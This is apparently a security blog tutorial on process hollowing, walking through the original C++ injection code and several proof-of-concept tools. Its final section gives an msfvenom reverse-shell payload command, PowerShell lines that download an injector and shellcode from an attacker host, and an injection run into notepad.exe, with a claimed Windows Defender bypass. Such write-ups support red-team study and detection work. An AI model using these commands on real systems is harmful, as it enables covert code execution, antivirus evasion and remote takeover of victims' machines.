In July 2011, John Leitch of autosectools.com talked about a technique he called process hollowing in his whitepaper here. Ever since then, many malware campaigns like Bandook and Ransom.Cryak, and various APTs have utilized Process Hollowing for defense evasion and privilege escalation. In this article, we aim to discuss the technical concepts utilized behind the technique in an easy to comprehend manner and demonstrate a ready to go tool that can perform Process Hollowing in a portable manner.
MITRE TACTIC: Defense Evasion (TA0005) and Privilege Escalation (TA0004)
MITRE Technique ID: Process Injection (T1055)
MITRE SUB ID: Process Hollowing (T1055.012)
One must be aware of the following requirements in order to fully understand the process discussed:
Fundamental concept is quite straightforward. In the process hollowing code injection technique, an attacker creates a new process in a suspended state, its image is then unmapped (hollowed) from the memory, a malicious binary gets written instead and finally, the program state is resumed which executes the injected code. Workflow of the technique is:
Step 1: Creating a new process in a suspended state:
Step 2: Swap out its memory contents (unmapping/hollowing):
Step 3: Input malicious payload in this unmapped region:
Step 4: Setting EAX to the entrypoint:
Step 5: Start the suspended thread:
Programmatically speaking, in the original code, the following code was used to demonstrate the same which is explained below
Step 1: Creating a new process
An adversary first creates a new process. To create a benign process in suspended mode the functions are used:
Following code, snippet is taken from the original source here. An explanation is as follows:
printf("Creating process\r\n"); LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA(); LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION(); CreateProcessA ( 0, pDestCmdLine, 0, 0, 0, CREATE_SUSPENDED, 0, 0, pStartupInfo, pProcessInfo ); if (!pProcessInfo->hProcess) { printf("Error creating process\r\n"); return; }
Step 2: Information Gathering
We have to know the base address of the created process so that we can use this to copy this memory block to the created process’ memory block later. This can be done using:
NtQueryProcessInformation + ReadProcessMemory
Also, can be done easily using a single function:
ReadRemotePEB(pProcessInfo->hProcess) PPEB pPEB = ReadRemotePEB(pProcessInfo->hProcess);
This is essential as it contains information related to OS which is needed in further code. This can be done using ReadRemoteImage(). pImage is a pointer to hProcess handle and ImageBaseAddress.
PLOADED_IMAGE pImage = ReadRemoteImage ( pProcessInfo->hProcess, pPEB->ImageBaseAddress );
Step 3: Unmapping (hollowing) and swapping the memory contents
After obtaining the NT headers, we can unmap the image from memory.
printf("Unmapping destination section\r\n"); HMODULE hNTDLL = GetModuleHandleA("ntdll"); FARPROC fpNtUnmapViewOfSection = GetProcAddress ( hNTDLL, "NtUnmapViewOfSection" ); _NtUnmapViewOfSection NtUnmapViewOfSection = (_NtUnmapViewOfSection)fpNtUnmapViewOfSection; DWORD dwResult = NtUnmapViewOfSection ( pProcessInfo->hProcess, pPEB->ImageBaseAddress );
Now we have to map a new block of memory for source image. Here, a malware would be copied to a new block of memory. For this we need to provide:
PVOID pRemoteImage = VirtualAllocEx ( pProcessInfo->hProcess, pPEB->ImageBaseAddress, pSourceHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE );
Step 4: Copy this new block of memory (malware) to the suspended process memory
Here, section by section, our new block of memory (pSectionDestination) is being copied to the process memory’s (pSourceImage) virtual address
for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++) { if (!pSourceImage->Sections[x].PointerToRawData) continue; PVOID pSectionDestination = (PVOID)((DWORD)pPEB->ImageBaseAddress + pSourceImage->Sections[x].VirtualAddress); }
Step 5: Rebasing the source image
Since the source image was loaded to a different ImageBaseAddress than the destination process, it needs to be rebased in order for the binary to resolve addresses of static variables and other absolute addresses properly. The way the windows loader knows how to patch the images in memory is by referring to a relocation table residing in the binary.
for (DWORD y = 0; y < dwEntryCount; y++) { dwOffset += sizeof(BASE_RELOCATION_ENTRY); if (pBlocks[y].Type == 0) continue; DWORD dwFieldAddress = pBlockheader->PageAddress + pBlocks[y].Offset; DWORD dwBuffer = 0; ReadProcessMemory ( pProcessInfo->hProcess, (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress), &dwBuffer, sizeof(DWORD), 0 ); dwBuffer += dwDelta; BOOL bSuccess = WriteProcessMemory ( pProcessInfo->hProcess, (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress), &dwBuffer, sizeof(DWORD), 0 ); }
Step 6: Setting EAX to the entrypoint and Resuming Thread
Now, we’ll get the thread context, set EAX to entrypoint using SetThreadContext and resume execution using ResumeThread()
LPCONTEXT pContext = new CONTEXT(); pContext->ContextFlags = CONTEXT_INTEGER; GetThreadContext(pProcessInfo->hThread, pContext) DWORD dwEntrypoint = (DWORD)pPEB->ImageBaseAddress + pSourceHeaders->OptionalHeader.AddressOfEntryPoint; pContext->Eax = dwEntrypoint; //EAX set to the entrypoint SetThreadContext(pProcessInfo->hThread, pContext) ResumeThread(pProcessInfo->hThread) //Thread resumed
Step 7: Replacing genuine process with custom code
Finally, we need to pass our custom code that is to be replaced with a genuine process. In the code given by John Leitch, a function called CreateHallowedProcess is being used that encapsulates all of the code we discussed in step 1 through 6 and it takes as an argument the name of the genuine process (here, svchost) and the path of the custom code we need to inject (here, HelloWorld.exe)
pPath[strrchr(pPath, '\\') - pPath + 1] = 0; strcat(pPath, "helloworld.exe"); CreateHollowedProcess("svchost",pPath);
The official code can be downloaded, and inspected and the EXEs provided can be run using Process Hollowing. The full code can be downloaded here. Once downloaded, extract and run ProcessHollowing.exe which contains the entire code described above. As you’d be able to see that the file has created a new process and injected HelloWorld.exe in it.
Upon inspecting this in Process Explorer, we see that a new process spawns svchost, but there is no mention of HelloWorld.exe, which means the EXE has now been masqueraded.
NOTE: To modify this code and inject your own shell (generated from tools like msfvenom) can be done manually using visual studio and rebuilding the source code but that is beyond the scope of this article.
Ryan Reeves created a PoC of the technique which can be found here. In part 1 of the PoC, he has coded a Process Hollowing exe which contains a small PoC code popup that gets injected in a legit explorer.exe process. This is a standalone EXE and hence, the hardcoded popup balloon can be replaced with msfvenom shellcode to give a reverse shell to your own C2 server. It can be run like so and you’d receive a small popup:
Upon checking in process explorer, we see that a new explorer.exe process has been created with the same specified process ID indicating that our EXE has been successfully masqueraded using hollowing technique.
We saw two PoCs above but the fact is both of these methods aren’t beginner-friendly and need coding knowledge to execute the attack in real-time environment. Lucky for us, in comes ProcessInjection.exe tool created by Chirag Savla which takes a raw shellcode as input from a text file and injects into a legit process as specified by the user. It can be downloaded and compiled using Visual Studio for release (Go to Visual studio->open .sln file->build for release)
Now, first, we need to create our shellcode. Here, I’m creating a hexadecimal shellcode for reverse_tcp on CMD
msfvenom -p windows/x64/shell_reverse_tcp exitfunc=thread LHOST=192.168.0.89 LPORT=1234 -f hex
Now, this along with our ProcessInjection.exe file can be transferred to the victim system. Then, use the command to run our shellcode using Process Hollowing technique. Here,
/t:3 Specified Process Hollowing
/f Specifies the type of shellcode. Here, it is hexadecimal
/path: Full path of the shellcode to be injected. Here, same folder so just “hex.txt” given
/ppath: Full path of the legitimate process to be spawned
powershell wget 192.168.0.89/ProcessInjection.exe -O ProcessInjection.exe powershell wget 192.168.0.89/hex.txt -O hex.txt ProcessInjection.exe /t:3 /f:hex /path:"hex.txt" /ppath:"c:\windows\system32\notepad.exe"
Now, a notepad.exe has been spawned but with our own shellcode in it and we have received a reverse shell successfully!!
For our own curiosity, we checked this in our local host with defender ON and you can see that process hollowing was completed!
In process explorer, we see that a new notepad.exe has been spawned with the same PID as our new process was created with
And finally, when this was executed, the defender did not scan any threats indicating that we had successfully bypassed the antivirus.
NOTE: Newer versions of Windows will detect this scan as newer patches prevent the process hollowing technique by monitoring unmapped segments in memory.
The article discussed a process injection method known as Process Hollowing in which an attacker is able to achieve code execution by creating a benign new process in a suspended state, injecting custom malicious code in it and then resuming its execution again. The article discussed some of the original code as described by John Leitch and the basic breakdown of the code followed by 3 PoC examples available on github. Hope you enjoyed the article. Thanks for reading.
Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here